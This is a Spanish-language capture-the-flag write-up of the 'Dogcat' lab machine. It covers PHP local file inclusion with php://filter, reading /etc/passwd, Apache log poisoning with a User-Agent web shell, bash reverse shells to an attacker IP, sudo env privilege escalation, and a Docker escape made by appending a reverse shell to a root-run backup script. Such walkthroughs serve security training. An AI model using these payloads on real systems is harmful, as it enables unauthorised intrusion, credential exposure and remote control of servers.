Dogcat

10.10.181.154 Linux Media

Enumeración Web

Nmap

sudo nmap -sV -Pn 10.10.181.154

Resultado:

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.4.38 ((Debian))

Service Info: OS: linux; CPE: cpe:/o:linux:linux_kernel

Características detectadas:

  • Puerto 22: Servidor OpenSSH (7.6p1)
  • Puerto 80: Servidor Web Apache (2.4.38)

Acceso al portal web (Puerto 80)

http://10.10.181.154:80
foto

Figura 1: Portal Web

Al dar click en dog o cat nos muestra una imagen en consecuencia.

Si seleccionamos por ejemplo Dog y capturamos esa petición con Burp Suite. En el parámetro php que indica dog/cat tenemos un potencial path traversal. Añadiremos ../ después de dog

foto

Figura 2: Añadiendo ../ después de dog

foto

Figura 3: Respuesta en la que podemos ver una posible exfiltración de datos

Exfiltrar datos a través de un wrapper PHP

Aprovechando que podemos pasar argumentos antes del parámetro podemos intentar exfiltrar datos a través de un wrapper PHP.

php://filter/convert.base64-encode/resource=dog/var/www/html/index.php

El wrapper php://filter permite leer el contenido de un archivo y, en este caso, convertirlo a una codificación Base64 para facilitar su visualización y evitar problemas de caracteres especiales.

foto

Figura 4: Uso del wrapper php://filter

Se aprecia que la aplicación añade automáticamente la extensión “.php” al valor pasado en el parámetro, lo cual indica un posible vector de vulnerabilidad en el manejo de la inclusión de archivos

Explotación

Trabajar con el parámetro &ext=

El parámetro &ext= evita que se añada automáticamente “.php” al archivo que se quiere incluir. Sin él, al usar un wrapper (como php://filter), se agregaría “.php” y fallaría la inclusión. Con &ext= puedes dejar la extensión vacía y que el wrapper funcione correctamente.

/?view=php://filter/convert.base64-encode/resource=dog/../../../../../etc/passwd&ext=
foto

Figura 5: Uso del parámetro ext=

Ahora decodificamos este texto que está en base 64: https://www.base64decode.org/

foto

Figura 6: Lista de usuarios del sistema

Ahora probaremos a analizar el log del sistema

/?view=dog/../../../../../var/log/apache2/access.log&ext=
foto

Figura 7: Log del sistema

Lo importante aquí es que podemos visualizar los logs del sistema, lo que hace a la máquina susceptible de un log poisoning.

Inyectamos código PHP en el user agent para modificar el index y añadir un parámetro que, al incluirse, permite ejecutar código en el servidor.

User-Agent: <?php system($_GET['cmd']);?>
foto

Figura 8: Uso del parámetro User-Agent

Si le pasamos el parámetro cmd por URL: (Para ver el ID del usuario veremos que devuelve www-data)

/?view=dog/../../../../../var/log/apache2/access.log&ext=&cmd=id
foto

Figura 9: Comprobación del log para ver el ID del usuario (www-data)

Reverse Shell

Usaremos una sentencia típica de bash (Revisar IP de nuestro Kali)

bash -c 'bash -i >& /dev/tcp/10.23.73.4/4444 0>&1'

Lo codificamos en formato URL: https://www.urlencoder.org/

bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.23.73.4%2F4444%200%3E%261%27
foto

Figura 10: Insertamos la sentencia de la Shell reversa en la petición de BurpSuite

Antes de mandar la petición abrimos un servidor con netcat

nc -lvnp 4444

Si enviamos la petición de la Reverse Shell (Burp Suite) veremos que obtenemos acceso

foto

Figura 11: Conexión establecida

Como la máquina no tiene python para estabilizar un poco la shell ejecutamos:

script /dev/null -c bash
export TERM=xterm
foto

Figura 12: Reverse Shell estabilizada

Escalada de Privilegios

Si recordamos en el sistema no hay usuarios creados.

Por ello debemos istar sólo los usuarios con UID ≥ 1000 (usuarios reales, no del sistema)

awk -F: '$3 >= 1000 && $3 < 65534 {print $1}' /etc/passwd
foto

Figura 13: Listado de usuarios reales, no del sistema

Sale vacío, aí que probaremos directamente a intentar escalar privilegios a root

Llegados a este punto, intentaremos ver que comandos puede ejecutar el usuario con privilegios de administrador

sudo -l
foto

Figura 14: Resultado de sudo -l

Veremos que tenemos privilegios sobre /usr/bin/env

Utilidad env

env es una utilidad estándar en Unix que:

  • Ejecuta un programa en un entorno modificado.
  • Se suele usar para lanzar scripts con el intérprete correcto.

En este caso la escalada es bastante sencilla ya que podemos ejecutar el comando env con el parámetro bash y obtener un shell.

sudo /usr/bin/env /bin/bash
foto

Figura 15: uso de sudo /usr/bin/env /bin/bash

Flag (1 - 4)

Las tres primeras flags las tenemos aquí:

foto

Figura 16: Flag (1 - 4)

Flag (2 - 4)

foto

Figura 17: Flag (2 - 4)

Flag (3 - 4)

foto

Figura 18: Flag (3 - 4)

Flag (4 - 4)

La última flag es algo “compleja”

Si nos fijamos (además de que lo dice en el reto) el id del host donde somos root es un string id similar a los que genera Docker. Por lo que estamos en un entorno de Docker

Para escapar podemos navegar a /opt/backups.

cd /opt/backups
foto

Figura 19: Navegamos a /opt/backups

Encontramos un script que hace un backup completo del contenedor por lo que debe estar siendo ejecutado por el usuario root

Debemos modificar el script de backup (Revisar IP de nuestro Kali)

echo 'bash -i >& /dev/tcp/10.23.73.4/9999 0>&1' >> backup.sh
foto

Figura 20: insertamos la llamada a la Reverse Shell

Antes de ejecutar eso debemos abrirnos un servidor a la escucha con netcat

nc -lvnp 9999
foto

Figura 21: Servidor a la escucha en el puerto 9999

Si ejecutamos el script, podremos ver que aunque ponga que la conexión ha sido rechazada se conectará exitosamente

./backup.sh
foto

Figura 22: Ejecución del script backup.sh

foto

Figura 23: Conexión establecida en el puerto 9999

Listamos los archivos y veremos que efectivamante está a nuestro alcance la flag 4

ls
foto

Figura 24: Flag (4 - 4)